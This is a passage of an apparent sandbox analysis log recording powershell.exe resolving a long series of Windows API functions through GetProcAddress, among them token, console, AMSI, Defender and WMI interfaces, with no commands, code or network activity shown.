called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SxsLookupClrGuid (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCPW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00000160) 